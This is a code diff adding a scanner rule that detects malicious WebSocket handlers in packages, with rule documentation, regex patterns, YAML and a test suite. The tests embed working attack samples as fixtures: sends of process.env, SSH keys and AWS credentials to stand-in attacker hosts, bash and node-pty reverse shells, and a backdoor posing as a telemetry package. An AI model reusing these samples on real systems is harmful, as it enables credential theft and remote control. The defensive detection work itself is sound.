diff --git a/WEBSOCKET_RULE_DOCS.md b/WEBSOCKET_RULE_DOCS.md new file mode 100644 index 00000000..fb481b51 --- /dev/null +++ b/WEBSOCKET_RULE_DOCS.md @@ -0,0 +1,91 @@ +# ISNAD-WS-001: Malicious WebSocket Handler + +| Field | Value | +|-------------|---------------------------------------------| +| Rule ID | ISNAD-WS-001 | +| Name | Malicious WebSocket Handler | +| Severity | πŸ”΄ CRITICAL | +| Confidence | HIGH | +| Version | 1.0.0 | +| Track | Detection | + +--- + +## Overview + +Some supply chain attacks use WebSocket connections instead of plain HTTP +for their Command-and-Control (C2) channel. WebSocket offers attackers +several advantages: + +- **Bidirectional, persistent connection** β€” attacker can push commands + at any time without polling. +- **Blends with legitimate traffic** β€” HTTPS/WSS uses the same port (443). +- **Harder to block** β€” firewalls that allow outbound HTTPS implicitly + allow WSS. +- **No repeated DNS queries** β€” once established, the connection persists. + +This rule detects five distinct malicious pattern categories, each +scored independently. + +--- + +## Pattern Categories + +### 1. Suspicious WebSocket Endpoint (`+40 pts`) + +Flags WebSocket connections to destinations that legitimate libraries +would never hard-code: + +| Sub-pattern | Example | +|-------------|---------| +| Raw IP address | `new WebSocket('ws://10.0.0.1:4444')` | +| Base64-encoded URL | `new WebSocket(atob('d3M6Ly8...'))` | +| Environment variable endpoint | `new WebSocket(process.env.C2_HOST)` | +| Tunnel services (ngrok, serveo…) | `new WebSocket('wss://x.ngrok.io/shell')` | + +### 2. Data Exfiltration via WebSocket (`+35 pts`) + +Flags `.send()` calls that transmit sensitive data: + +| Sub-pattern | Example | +|-------------|---------| +| All env vars | `ws.send(JSON.stringify(process.env))` | +| File contents | `ws.send(fs.readFileSync('/etc/passwd'))` | +| Credential files | `ws.send(fs.readFileSync('~/.ssh/id_rsa'))` | +| System recon | `ws.send(os.userInfo())` | + +### 3. Reverse Shell via WebSocket (`+45 pts`) + +Flags patterns where a shell process is spawned and its I/O is bridged +to a WebSocket (interactive reverse shell): + +| Sub-pattern | Example | +|-------------|---------| +| Shell spawn | `spawn('/bin/bash', ['-i'])` | +| exec output forwarded | `exec(cmd, (e,out) => ws.send(out))` | +| Message triggers exec | `ws.on('message', cmd => exec(cmd))` | +| PTY via node-pty | `require('node-pty').spawn(...)` | + +### 4. C2 Beacon / Heartbeat (`+30 pts`) + +Flags periodic heartbeats and aggressive reconnection logic: + +| Sub-pattern | Example | +|-------------|---------| +| Interval beacon | `setInterval(() => ws.send({alive}), 30000)` | +| Auto-reconnect on close | `ws.on('close', () => new WebSocket(...))` | + +### 5. Obfuscated WebSocket Usage (`+25 pts`) + +Flags obfuscation techniques applied to WebSocket code: + +| Sub-pattern | Example | +|-------------|---------| +| Hex-encoded strings | `\x77\x73\x3a//...` near WebSocket | +| `String.fromCharCode` URL | `new WebSocket(String.fromCharCode(...))` | +| `eval()` with WebSocket | `eval('new WebSocket(...)')` | + +--- + +## Scoring + diff --git a/websocket_malicious_handlers.js b/websocket_malicious_handlers.js new file mode 100644 index 00000000..d7777f1f --- /dev/null +++ b/websocket_malicious_handlers.js @@ -0,0 +1,286 @@ +/** + * Scanner Rule: Malicious WebSocket Handler Detection + * + * Detects supply chain attack patterns that use WebSocket connections + * for C2 (Command & Control) communication, data exfiltration, + * and reverse shell establishment. + * + * Rule ID: ISNAD-WS-001 + * Severity: CRITICAL + * Track: Detection + */ + +"use strict"; + +// ─── Pattern Definitions ────────────────────────────────────────────────────── + +/** + * Suspicious external WebSocket endpoints. + * Legitimate libraries rarely hard-code external WS endpoints. + */ +const SUSPICIOUS_WS_ENDPOINTS = [ + // Raw IP addresses used as WS hosts (avoids DNS-based detection) + /new\s+WebSocket\s*\(\s*[`'"](wss?:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/i, + // Dynamic endpoint construction that obfuscates the destination + /new\s+WebSocket\s*\(\s*(?:atob|Buffer\.from|decodeURIComponent|unescape)\s*\(/i, + // Environment variable used to hide the C2 endpoint + /new\s+WebSocket\s*\(\s*process\.env\.[A-Z_]+/i, + // Localhost tunneling (ngrok, serveo, localhost.run style) + /new\s+WebSocket\s*\(\s*[`'"]wss?:\/\/[a-z0-9\-]+\.(?:ngrok(?:\.io|free\.app)|serveo\.net|localhost\.run|loca\.lt)/i, + // Base64-encoded websocket URL + /(?:atob|Buffer\.from)\s*\(\s*['"][A-Za-z0-9+/]{20,}={0,2}['"]\s*\).*WebSocket/i, +]; + +/** + * Data exfiltration patterns over WebSocket channels. + * Look for sends of sensitive data: env vars, files, credentials. + */ +const EXFILTRATION_PATTERNS = [ + // Sending process.env (all env vars β€” credentials, tokens, etc.) + /\.send\s*\(\s*JSON\.stringify\s*\(\s*process\.env\b/i, + // Sending file system data via WebSocket + /\.send\s*\(\s*(?:fs|require\s*\(\s*['"]fs['"]\s*\))\.read(?:File|FileSync)\s*\(/i, + // Sending SSH keys, .env files, or credential files + /\.send\s*\(.*(?:\.ssh|id_rsa|\.env|credentials|\.aws|\.npmrc|\.netrc)/i, + // Exfiltrating require('os').userInfo or homedir (recon) + /\.send\s*\(.*(?:os\.userInfo|os\.homedir|process\.cwd|__dirname)/i, + // Sending combined system info (classic recon exfil) + /\.send\s*\(\s*JSON\.stringify\s*\(\s*\{[^}]*(?:hostname|platform|arch|username|env)[^}]*\}\s*\)/i, + // Streaming stdin/stdout over WebSocket (reverse shell pattern) + /(?:process\.stdin|child\.stdout|child\.stderr)\.(?:pipe|on\s*\(\s*['"]data['"])[^;]*\.send/i, +]; + +/** + * Reverse shell patterns via WebSocket. + * Spawning child processes whose I/O is bridged to a WebSocket. + */ +const REVERSE_SHELL_PATTERNS = [ + // exec/spawn piped directly into ws.send + /(?:exec|execSync|spawn|spawnSync)\s*\([^)]*\)[^;]*\.send\s*\(/i, + // Shell spawned and stdout fed into WebSocket message + /spawn\s*\(\s*['"](?:\/bin\/(?:ba)?sh|cmd(?:\.exe)?|powershell(?:\.exe)?)['"]/i, + // WebSocket message triggers exec (incoming command execution) + /\.on\s*\(\s*['"]message['"]\s*,\s*(?:function|\(.*\)\s*=>)\s*\{[^}]*(?:exec|eval|spawn|Function)\s*\(/is, + // PTY / pseudo-terminal allocated over WebSocket (advanced reverse shell) + /require\s*\(\s*['"](?:node-pty|pty\.js|xterm)['"]\s*\)[^;]*\.on\s*\(\s*['"]data['"]/i, + // WebSocket used as transport for interactive shell session + /ws\.(?:send|on)\s*\([^)]*\)[^;]*(?:shell|pty|tty|terminal)/i, +]; + +/** + * C2 beacon / heartbeat patterns. + * Malware often sends periodic beacons to maintain persistence / signal readiness. + */ +const C2_BEACON_PATTERNS = [ + // setInterval used to repeatedly send data via WebSocket + /setInterval\s*\(\s*(?:function|\(.*\)\s*=>)\s*\{[^}]*\.send\s*\(/is, + // Reconnection loop β€” resilient C2 channel + /(?:setTimeout|setInterval)\s*\([^)]*new\s+WebSocket\s*\(/i, + // WebSocket 'close' handler that re-establishes connection (persistence) + /\.on\s*\(\s*['"]close['"]\s*,\s*(?:function|\(.*\)\s*=>)\s*\{[^}]*new\s+WebSocket\s*\(/is, + // Auto-reconnect with exponential backoff (sign of persistent C2) + /on(?:close|error)[^}]*setTimeout[^}]*new\s+WebSocket/is, +]; + +/** + * Obfuscation indicators combined with WebSocket usage. + * Clean packages don't need to obfuscate their WebSocket logic. + */ +const OBFUSCATION_WITH_WS = [ + // Hex-encoded strings near WebSocket construction + /(?:\\x[0-9a-f]{2}){4,}[^;]*WebSocket/i, + // String.fromCharCode used to build WebSocket URL + /String\.fromCharCode\s*\([^)]+\)[^;]*WebSocket/i, + // eval() used to execute WebSocket code + /eval\s*\([^)]*WebSocket/i, + // WebSocket URL built character by character + /WebSocket[^;]*\+[^;]*\+[^;]*\+[^;]*\+[^;]*\+[^;]*['"]/i, +]; + +// ─── Rule Configuration ─────────────────────────────────────────────────────── + +const RULE = { + id: "ISNAD-WS-001", + name: "Malicious WebSocket Handler", + description: + "Detects WebSocket-based C2 communication, data exfiltration, " + + "and reverse shell patterns commonly used in supply chain attacks.", + severity: "CRITICAL", + confidence: "HIGH", + references: [ + "https://attack.mitre.org/techniques/T1071/", // Application Layer Protocol + "https://attack.mitre.org/techniques/T1041/", // Exfiltration Over C2 Channel + "https://attack.mitre.org/techniques/T1059/", // Command and Scripting Interpreter + ], + tags: ["websocket", "c2", "exfiltration", "reverse-shell", "supply-chain"], +}; + +// ─── Scoring Weights ────────────────────────────────────────────────────────── + +const WEIGHTS = { + suspiciousEndpoint: 40, + exfiltration: 35, + reverseShell: 45, + c2Beacon: 30, + obfuscationWithWs: 25, +}; + +// Minimum score to flag a file as malicious +const SCORE_THRESHOLD = 40; + +// ─── Core Scanner ───────────────────────────────────────────────────────────── + +/** + * Represents a single match found in source code. + * @typedef {Object} Match + * @property {string} category - Pattern category name + * @property {string} pattern - Human-readable pattern description + * @property {number} line - 1-based line number of the match + * @property {string} snippet - The matched source snippet (truncated) + * @property {number} weight - Risk score contribution + */ + +/** + * Represents the full scan result for one file. + * @typedef {Object} ScanResult + * @property {string} file - Path or identifier of scanned content + * @property {boolean} flagged - Whether the file exceeds the risk threshold + * @property {number} score - Cumulative risk score + * @property {Match[]} matches - All pattern matches found + * @property {Object} rule - Rule metadata + * @property {string} verdict - Human-readable verdict string + */ + +/** + * Scan source code for malicious WebSocket handler patterns. + * + * @param {string} source - The source code to scan + * @param {string} [file] - Optional file identifier for result labeling + * @returns {ScanResult} + */ +function scan(source, file = "") { + if (typeof source !== "string") { + throw new TypeError(`scan() expects a string, got ${typeof source}`); + } + + const lines = source.split("\n"); + const matches = []; + let score = 0; + + /** + * Test all patterns in a category against the source and collect matches. + */ + function testCategory(categoryName, patterns, weight) { + for (const pattern of patterns) { + // Reset lastIndex for global regexes (safety) + pattern.lastIndex = 0; + + const match = pattern.exec(source); + if (match) { + // Find the line number of the match + const matchIndex = match.index; + let lineNumber = 1; + let charCount = 0; + for (let i = 0; i < lines.length; i++) { + charCount += lines[i].length + 1; // +1 for newline + if (charCount > matchIndex) { + lineNumber = i + 1; + break; + } + } + + const snippet = match[0].replace(/\s+/g, " ").slice(0, 120); + + matches.push({ + category: categoryName, + pattern: pattern.source.slice(0, 80) + (pattern.source.length > 80 ? "…" : ""), + line: lineNumber, + snippet: snippet, + weight: weight, + }); + + score += weight; + // Only count each category once per file to avoid score inflation + break; + } + } + } + + testCategory("Suspicious WebSocket Endpoint", SUSPICIOUS_WS_ENDPOINTS, WEIGHTS.suspiciousEndpoint); + testCategory("Data Exfiltration via WebSocket", EXFILTRATION_PATTERNS, WEIGHTS.exfiltration); + testCategory("Reverse Shell via WebSocket", REVERSE_SHELL_PATTERNS, WEIGHTS.reverseShell); + testCategory("C2 Beacon / Heartbeat", C2_BEACON_PATTERNS, WEIGHTS.c2Beacon); + testCategory("Obfuscated WebSocket Usage", OBFUSCATION_WITH_WS, WEIGHTS.obfuscationWithWs); + + const flagged = score >= SCORE_THRESHOLD; + + return { + file, + flagged, + score, + matches, + rule: { ...RULE }, + verdict: flagged + ? `MALICIOUS β€” Risk score ${score} exceeds threshold ${SCORE_THRESHOLD}. ` + + `${matches.length} suspicious pattern(s) detected.` + : `CLEAN β€” Risk score ${score} below threshold ${SCORE_THRESHOLD}.`, + }; +} + +/** + * Scan multiple files at once. + * + * @param {Array<{file: string, source: string}>} files + * @returns {ScanResult[]} + */ +function scanFiles(files) { + return files.map(({ file, source }) => scan(source, file)); +} + +// ─── Pretty Printer ─────────────────────────────────────────────────────────── + +/** + * Format a ScanResult as a human-readable report string. + * + * @param {ScanResult} result + * @returns {string} + */ +function formatReport(result) { + const lines = [ + "═".repeat(70), + `Rule : ${result.rule.id} β€” ${result.rule.name}`, + `File : ${result.file}`, + `Verdict : ${result.verdict}`, + `Score : ${result.score} (threshold: ${SCORE_THRESHOLD})`, + `Flagged : ${result.flagged ? "YES ⚠️" : "NO βœ…"}`, + ]; + + if (result.matches.length > 0) { + lines.push("─".repeat(70)); + lines.push("Matches:"); + for (const m of result.matches) { + lines.push(` [${m.category}] line ${m.line} (+${m.weight} pts)`); + lines.push(` Snippet : ${m.snippet}`); + } + } + + lines.push("═".repeat(70)); + return lines.join("\n"); +} + +// ─── Exports ────────────────────────────────────────────────────────────────── + +module.exports = { + scan, + scanFiles, + formatReport, + RULE, + SCORE_THRESHOLD, + WEIGHTS, + // Expose pattern groups for external composition / testing + SUSPICIOUS_WS_ENDPOINTS, + EXFILTRATION_PATTERNS, + REVERSE_SHELL_PATTERNS, + C2_BEACON_PATTERNS, + OBFUSCATION_WITH_WS, +}; diff --git a/websocket_malicious_handlers.rule.yaml b/websocket_malicious_handlers.rule.yaml new file mode 100644 index 00000000..e80a3fa8 --- /dev/null +++ b/websocket_malicious_handlers.rule.yaml @@ -0,0 +1,162 @@ +# ───────────────────────────────────────────────────────────────────────────── +# ISNAD Scanner Rule Definition +# Rule ID : ISNAD-WS-001 +# Name : Malicious WebSocket Handler +# Track : Detection +# Severity : CRITICAL +# ───────────────────────────────────────────────────────────────────────────── + +id: ISNAD-WS-001 +name: Malicious WebSocket Handler +version: "1.0.0" +severity: CRITICAL +confidence: HIGH +description: | + Detects supply-chain attack patterns that abuse WebSocket connections + for Command-and-Control (C2) communication, bidirectional data + exfiltration, and reverse shell establishment. These patterns are + harder to detect than simple HTTP exfiltration because: + - WebSocket traffic blends with legitimate app traffic + - Connections persist without repeated DNS lookups + - Bidirectional communication enables interactive control + +references: + - https://attack.mitre.org/techniques/T1071/ # Application Layer Protocol + - https://attack.mitre.org/techniques/T1041/ # Exfiltration Over C2 Channel + - https://attack.mitre.org/techniques/T1059/ # Command & Scripting Interpreter + - https://attack.mitre.org/techniques/T1095/ # Non-Application Layer Protocol + +tags: + - websocket + - c2 + - command-and-control + - exfiltration + - reverse-shell + - supply-chain + - persistence + +# ── Pattern Groups ──────────────────────────────────────────────────────────── +# Each group contributes independently to the risk score. +# A file exceeding the threshold score is flagged as MALICIOUS. + +threshold_score: 40 + +pattern_groups: + + - id: suspicious_ws_endpoint + weight: 40 + description: | + WebSocket connection to a suspicious or obfuscated remote endpoint. + Legitimate packages connect to well-known, static, same-origin endpoints. + Raw IPs, tunnel services, and env-var-hidden URLs are strong indicators. + patterns: + - id: raw_ip_endpoint + description: WebSocket connecting to a raw IP address + regex: 'new\s+WebSocket\s*\(\s*[`''"](wss?:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' + example: "new WebSocket('ws://10.0.0.1:4444/cmd')" + + - id: atob_encoded_endpoint + description: WebSocket URL hidden behind Base64 decoding + regex: 'new\s+WebSocket\s*\(\s*(?:atob|Buffer\.from|decodeURIComponent|unescape)\s*\(' + example: "new WebSocket(atob('d3M6Ly9tYWxpY2lvdXM='))" + + - id: env_var_endpoint + description: WebSocket endpoint stored in environment variable (hides C2 address) + regex: 'new\s+WebSocket\s*\(\s*process\.env\.[A-Z_]+' + example: "new WebSocket(process.env.C2_SERVER)" + + - id: tunnel_service_endpoint + description: WebSocket connecting through known tunnel services (ngrok, serveo, etc.) + regex: 'new\s+WebSocket\s*\(\s*[`''"](wss?:\/\/[a-z0-9\-]+\.(?:ngrok(?:\.io|free\.app)|serveo\.net|localhost\.run|loca\.lt))' + example: "new WebSocket('wss://abc123.ngrok.io/shell')" + + - id: data_exfiltration + weight: 35 + description: | + Sensitive data sent via WebSocket .send() call. Includes environment + variables, file system content, credential files, and system information. + patterns: + - id: env_exfiltration + description: Entire process.env sent over WebSocket + regex: '\.send\s*\(\s*JSON\.stringify\s*\(\s*process\.env\b' + example: "ws.send(JSON.stringify(process.env))" + + - id: file_read_exfiltration + description: File contents read and sent over WebSocket + regex: '\.send\s*\(\s*(?:fs|require\s*\(\s*[''"]fs[''"]\s*\))\.read(?:File|FileSync)\s*\(' + example: "ws.send(fs.readFileSync('/etc/passwd'))" + + - id: credential_file_exfiltration + description: Known credential file paths referenced in WebSocket send + regex: '\.send\s*\(.*(?:\.ssh|id_rsa|\.env|credentials|\.aws|\.npmrc|\.netrc)' + example: "ws.send(fs.readFileSync('~/.ssh/id_rsa'))" + + - id: system_info_exfiltration + description: System reconnaissance data sent via WebSocket + regex: '\.send\s*\(.*(?:os\.userInfo|os\.homedir|process\.cwd|__dirname)' + example: "ws.send(os.userInfo())" + + - id: reverse_shell + weight: 45 + description: | + WebSocket used to create an interactive reverse shell. This involves + spawning a child process (shell, cmd.exe, PowerShell) and bridging + its stdin/stdout to the WebSocket channel. + patterns: + - id: shell_spawn + description: Shell process spawned with known shell paths + regex: 'spawn\s*\(\s*[''"](?:\/bin\/(?:ba)?sh|cmd(?:\.exe)?|powershell(?:\.exe)?)[''"]' + example: "spawn('/bin/bash', ['-i'])" + + - id: exec_output_to_ws + description: exec() or spawn() output piped into WebSocket send + regex: '(?:exec|execSync|spawn|spawnSync)\s*\([^)]*\)[^;]*\.send\s*\(' + example: "exec(cmd, (e, out) => ws.send(out))" + + - id: message_triggers_exec + description: WebSocket message handler that calls exec/eval (incoming RCE) + regex: '\.on\s*\(\s*[''"]message[''"]\s*,\s*(?:function|\(.*\)\s*=>)\s*\{[^}]*(?:exec|eval|spawn|Function)\s*\(' + example: "ws.on('message', (cmd) => exec(cmd, cb))" + + - id: pty_reverse_shell + description: PTY (pseudo-terminal) allocated and bridged to WebSocket + regex: 'require\s*\(\s*[''"](?:node-pty|pty\.js|xterm)[''"]' + example: "const pty = require('node-pty')" + + - id: c2_beacon + weight: 30 + description: | + Periodic heartbeat or auto-reconnect patterns indicating a persistent + C2 channel. Legitimate WebSocket clients don't typically implement + aggressive reconnection with data sends. + patterns: + - id: interval_beacon + description: setInterval used to periodically send data via WebSocket + regex: 'setInterval\s*\(\s*(?:function|\(.*\)\s*=>)\s*\{[^}]*\.send\s*\(' + example: "setInterval(() => { ws.send(JSON.stringify({alive:true})); }, 30000)" + + - id: reconnect_on_close + description: WebSocket 'close' event triggers reconnection loop + regex: '\.on\s*\(\s*[''"]close[''"]\s*,\s*(?:function|\(.*\)\s*=>)\s*\{[^}]*new\s+WebSocket\s*\(' + example: "ws.on('close', () => { setTimeout(connect, 5000); })" + + - id: obfuscation_with_ws + weight: 25 + description: | + Code obfuscation techniques applied to WebSocket-related code. Clean + packages have no reason to obfuscate their WebSocket logic. + patterns: + - id: hex_encoded_ws + description: Hex-encoded strings adjacent to WebSocket usage + regex: '(?:\\x[0-9a-f]{2}){4,}[^;]*WebSocket' + example: "new WebSocket(\\x77\\x73\\x3a)" + + - id: char_code_ws_url + description: String.fromCharCode used to construct WebSocket URL + regex: 'String\.fromCharCode\s*\([^)]+\)[^;]*WebSocket' + example: "new WebSocket(String.fromCharCode(119,115,58))" + + - id: eval_websocket + description: eval() used to execute WebSocket connection code + regex: 'eval\s*\([^)]*WebSocket' + example: "eval('new WebSocket(...)')" diff --git a/websocket_malicious_handlers.test.js b/websocket_malicious_handlers.test.js new file mode 100644 index 00000000..cf4befa7 --- /dev/null +++ b/websocket_malicious_handlers.test.js @@ -0,0 +1,435 @@ +/** + * Test Suite: Malicious WebSocket Handler Scanner + * + * Covers: + * TC-01 Suspicious endpoint (raw IP) + * TC-02 Data exfiltration of process.env + * TC-03 Reverse shell via WebSocket + spawn + * TC-04 C2 beacon with setInterval reconnect loop + * TC-05 Obfuscated WebSocket URL construction + * TC-06 Combined multi-vector attack (high score) + * TC-07 Clean legitimate WebSocket usage (no false positive) + * TC-08 Encoded endpoint (atob / Base64) + * TC-09 Incoming message triggers exec (RCE) + * TC-10 Exfiltration of SSH private key file + * + * Run: node websocket_malicious_handlers.test.js + */ + +"use strict"; + +const { + scan, + formatReport, + SCORE_THRESHOLD, +} = require("./websocket_malicious_handlers"); + +// ─── Minimal Test Harness ───────────────────────────────────────────────────── + +let passed = 0; +let failed = 0; +const failures = []; + +function assert(condition, message) { + if (condition) { + passed++; + console.log(` βœ… PASS: ${message}`); + } else { + failed++; + failures.push(message); + console.log(` ❌ FAIL: ${message}`); + } +} + +function describe(suiteName, fn) { + console.log(`\n${"─".repeat(60)}`); + console.log(`πŸ“¦ ${suiteName}`); + console.log("─".repeat(60)); + fn(); +} + +function it(testName, fn) { + console.log(`\n πŸ” ${testName}`); + fn(); +} + +// ─── Test Cases ─────────────────────────────────────────────────────────────── + +describe("TC-01: Suspicious WebSocket Endpoint (Raw IP)", () => { + it("should flag a WebSocket connection to a raw IP address", () => { + const source = ` + // Totally normal module init + const ws = new WebSocket('ws://192.168.1.100:4444/cmd'); + ws.onopen = () => ws.send('ready'); + `; + const result = scan(source, "tc01-raw-ip.js"); + + assert(result.flagged, "file should be flagged"); + assert(result.score >= SCORE_THRESHOLD, `score (${result.score}) >= threshold (${SCORE_THRESHOLD})`); + assert( + result.matches.some(m => m.category === "Suspicious WebSocket Endpoint"), + "should detect suspicious endpoint" + ); + + console.log(formatReport(result)); + }); +}); + +describe("TC-02: Data Exfiltration of process.env", () => { + it("should detect exfiltration of environment variables over WebSocket", () => { + const source = ` + const WebSocket = require('ws'); + const ws = new WebSocket(process.env.C2_SERVER); + + ws.on('open', function open() { + ws.send(JSON.stringify(process.env)); + }); + `; + const result = scan(source, "tc02-env-exfil.js"); + + assert(result.flagged, "file should be flagged"); + assert( + result.matches.some(m => m.category === "Suspicious WebSocket Endpoint"), + "should detect env-var endpoint" + ); + assert( + result.matches.some(m => m.category === "Data Exfiltration via WebSocket"), + "should detect env exfiltration" + ); + + console.log(formatReport(result)); + }); +}); + +describe("TC-03: Reverse Shell via WebSocket + spawn", () => { + it("should detect a reverse shell bridging /bin/bash to a WebSocket", () => { + const source = ` + const { spawn } = require('child_process'); + const WebSocket = require('ws'); + + const ws = new WebSocket('wss://attacker.ngrok.io/shell'); + ws.on('open', () => { + const shell = spawn('/bin/bash', ['-i']); + shell.stdout.on('data', (data) => ws.send(data)); + shell.stderr.on('data', (data) => ws.send(data)); + ws.on('message', (cmd) => shell.stdin.write(cmd)); + }); + `; + const result = scan(source, "tc03-reverse-shell.js"); + + assert(result.flagged, "file should be flagged"); + assert(result.score >= 40, "score should reflect high severity"); + assert( + result.matches.some(m => m.category === "Reverse Shell via WebSocket"), + "should detect reverse shell pattern" + ); + assert( + result.matches.some(m => m.category === "Suspicious WebSocket Endpoint"), + "should flag ngrok endpoint" + ); + + console.log(formatReport(result)); + }); +}); + +describe("TC-04: C2 Beacon with Reconnect Loop", () => { + it("should detect a persistent C2 beacon using setInterval and auto-reconnect", () => { + const source = ` + const WebSocket = require('ws'); + + function connect() { + const ws = new WebSocket('wss://c2.evil-domain.xyz/beacon'); + + // Send heartbeat every 30 seconds + const heartbeat = setInterval(() => { + ws.send(JSON.stringify({ type: 'beacon', host: require('os').hostname() })); + }, 30000); + + // Reconnect on close β€” persistent C2 channel + ws.on('close', () => { + clearInterval(heartbeat); + setTimeout(connect, 5000); + }); + } + + connect(); + `; + const result = scan(source, "tc04-c2-beacon.js"); + + assert(result.flagged, "file should be flagged"); + assert( + result.matches.some(m => m.category === "C2 Beacon / Heartbeat"), + "should detect beacon pattern" + ); + + console.log(formatReport(result)); + }); +}); + +describe("TC-05: Obfuscated WebSocket URL (Base64 Encoded)", () => { + it("should detect Base64-obfuscated WebSocket endpoint construction", () => { + const source = ` + // "ws://malicious-c2.io:9001/exfil" encoded + const endpoint = atob('d3M6Ly9tYWxpY2lvdXMtYzIuaW86OTAwMS9leGZpbA=='); + const ws = new WebSocket(endpoint); + ws.onopen = () => { + ws.send(JSON.stringify({ data: require('fs').readFileSync('/etc/passwd', 'utf8') })); + }; + `; + const result = scan(source, "tc05-obfuscated-url.js"); + + assert(result.flagged, "file should be flagged"); + assert( + result.matches.some(m => m.category === "Suspicious WebSocket Endpoint"), + "should detect atob-obfuscated endpoint" + ); + + console.log(formatReport(result)); + }); +}); + +describe("TC-06: Combined Multi-Vector Attack", () => { + it("should detect and score a sophisticated multi-vector WebSocket attack", () => { + const source = ` + /** + * Disguised as a "telemetry" module. + * Published as 'react-performance-metrics@2.1.4' + */ + const WebSocket = require('ws'); + const os = require('os'); + const fs = require('fs'); + const { exec } = require('child_process'); + + // Obfuscated C2 endpoint + const _0x1a2b = atob('d3NzOi8vMTAuMC4wLjE6NDQ0NC9jMg=='); + + function initTelemetry() { + const ws = new WebSocket(_0x1a2b); + + ws.on('open', () => { + // Exfiltrate environment (AWS keys, tokens, etc.) + ws.send(JSON.stringify(process.env)); + + // Exfiltrate SSH private key if present + try { + const key = fs.readFileSync(os.homedir() + '/.ssh/id_rsa', 'utf8'); + ws.send(JSON.stringify({ type: 'ssh_key', data: key })); + } catch (_) {} + }); + + // Accept and execute arbitrary commands from C2 + ws.on('message', (cmd) => { + exec(cmd, (err, stdout) => ws.send(stdout || err.message)); + }); + + // Heartbeat beacon + setInterval(() => { + ws.send(JSON.stringify({ alive: true, host: os.hostname() })); + }, 60000); + + // Persistent reconnect + ws.on('close', () => setTimeout(initTelemetry, 3000)); + } + + module.exports.init = initTelemetry; + `; + const result = scan(source, "tc06-multi-vector.js"); + + assert(result.flagged, "file should be flagged"); + assert(result.score >= 80, `score (${result.score}) should be very high (>=80) for multi-vector attack`); + assert(result.matches.length >= 3, `should detect at least 3 attack vectors, found ${result.matches.length}`); + + const categories = result.matches.map(m => m.category); + assert(categories.includes("Suspicious WebSocket Endpoint"), "should flag obfuscated endpoint"); + assert(categories.includes("Data Exfiltration via WebSocket"), "should flag data exfiltration"); + assert(categories.includes("C2 Beacon / Heartbeat"), "should flag C2 beacon"); + + console.log(formatReport(result)); + }); +}); + +describe("TC-07: Clean Legitimate WebSocket Usage (No False Positive)", () => { + it("should NOT flag a legitimate browser WebSocket client", () => { + const source = ` + /** + * Legitimate real-time chat client. + * Connects to the application's own backend. + */ + class ChatClient { + constructor(roomId) { + this.roomId = roomId; + this.ws = null; + } + + connect() { + // Relative URL β€” same origin as the page + this.ws = new WebSocket(\`wss://\${location.host}/chat/\${this.roomId}\`); + + this.ws.addEventListener('open', () => { + console.log('Chat connected'); + }); + + this.ws.addEventListener('message', (event) => { + const msg = JSON.parse(event.data); + this.displayMessage(msg); + }); + + this.ws.addEventListener('close', () => { + console.log('Chat disconnected'); + }); + } + + send(text) { + if (this.ws && this.ws.readyState === WebSocket.OPEN) { + this.ws.send(JSON.stringify({ type: 'message', text })); + } + } + + displayMessage(msg) { + document.getElementById('chat').insertAdjacentHTML( + 'beforeend', + \`
\${msg.user}: \${msg.text}
\` + ); + } + } + + export default ChatClient; + `; + const result = scan(source, "tc07-legitimate-chat.js"); + + assert(!result.flagged, "legitimate chat client should NOT be flagged"); + assert(result.score < SCORE_THRESHOLD, `score (${result.score}) should be below threshold`); + assert(result.matches.length === 0, `should have zero matches, got ${result.matches.length}`); + + console.log(formatReport(result)); + }); +}); + +describe("TC-08: Incoming Message Triggers exec (Remote Code Execution)", () => { + it("should detect WebSocket message handler that executes arbitrary commands", () => { + const source = ` + const WebSocket = require('ws'); + const { exec } = require('child_process'); + + const wss = new WebSocket.Server({ port: 0 }); + + // Connects back to attacker for commands + const ws = new WebSocket('ws://10.13.37.1:31337/cmd'); + + ws.on('message', function incoming(command) { + // Execute any command received from C2 + exec(command, (error, stdout, stderr) => { + ws.send(stdout || stderr || error.toString()); + }); + }); + `; + const result = scan(source, "tc08-rce-via-message.js"); + + assert(result.flagged, "file should be flagged"); + assert( + result.matches.some(m => m.category === "Reverse Shell via WebSocket"), + "should detect RCE via message handler" + ); + assert( + result.matches.some(m => m.category === "Suspicious WebSocket Endpoint"), + "should flag raw IP endpoint" + ); + + console.log(formatReport(result)); + }); +}); + +describe("TC-09: Exfiltration of SSH Private Key", () => { + it("should detect SSH key exfiltration over WebSocket", () => { + const source = ` + const WebSocket = require('ws'); + const fs = require('fs'); + const os = require('os'); + + // Masquerading as a "key backup" utility + const ws = new WebSocket('wss://backup.attacker.serveo.net/upload'); + + ws.on('open', () => { + const sshKey = fs.readFileSync(os.homedir() + '/.ssh/id_rsa'); + const awsCreds = fs.readFileSync(os.homedir() + '/.aws/credentials', 'utf8'); + + ws.send(JSON.stringify({ + type: 'key_backup', + ssh: sshKey.toString('base64'), + aws: awsCreds, + })); + }); + `; + const result = scan(source, "tc09-ssh-key-exfil.js"); + + assert(result.flagged, "file should be flagged"); + assert( + result.matches.some(m => m.category === "Suspicious WebSocket Endpoint"), + "should flag serveo.net tunnel endpoint" + ); + assert( + result.matches.some(m => m.category === "Data Exfiltration via WebSocket"), + "should flag SSH key exfiltration" + ); + + console.log(formatReport(result)); + }); +}); + +describe("TC-10: node-pty Reverse Shell via WebSocket", () => { + it("should detect PTY-based reverse shell using node-pty over WebSocket", () => { + const source = ` + /** + * "terminal-widget" npm package β€” hidden backdoor + */ + const pty = require('node-pty'); + const WebSocket = require('ws'); + + const ws = new WebSocket(\`wss://\${Buffer.from('dGVybS5hdHRhY2tlci5pbw==', 'base64').toString()}/pty\`); + + ws.on('open', () => { + const shell = pty.spawn('/bin/bash', [], { + name: 'xterm-256color', + cols: 80, + rows: 30, + }); + + // Bridge PTY <-> WebSocket (full interactive shell) + shell.on('data', (data) => ws.send(data)); + ws.on('message', (data) => shell.write(data)); + }); + `; + const result = scan(source, "tc10-pty-reverse-shell.js"); + + assert(result.flagged, "file should be flagged"); + assert( + result.matches.some(m => m.category === "Reverse Shell via WebSocket"), + "should detect node-pty reverse shell pattern" + ); + + console.log(formatReport(result)); + }); +}); + +// ─── Summary ────────────────────────────────────────────────────────────────── + +console.log("\n" + "═".repeat(60)); +console.log("πŸ“Š TEST SUMMARY"); +console.log("═".repeat(60)); +console.log(` Total : ${passed + failed}`); +console.log(` Passed : ${passed} βœ…`); +console.log(` Failed : ${failed} ❌`); + +if (failures.length > 0) { + console.log("\n Failed assertions:"); + failures.forEach(f => console.log(` β€’ 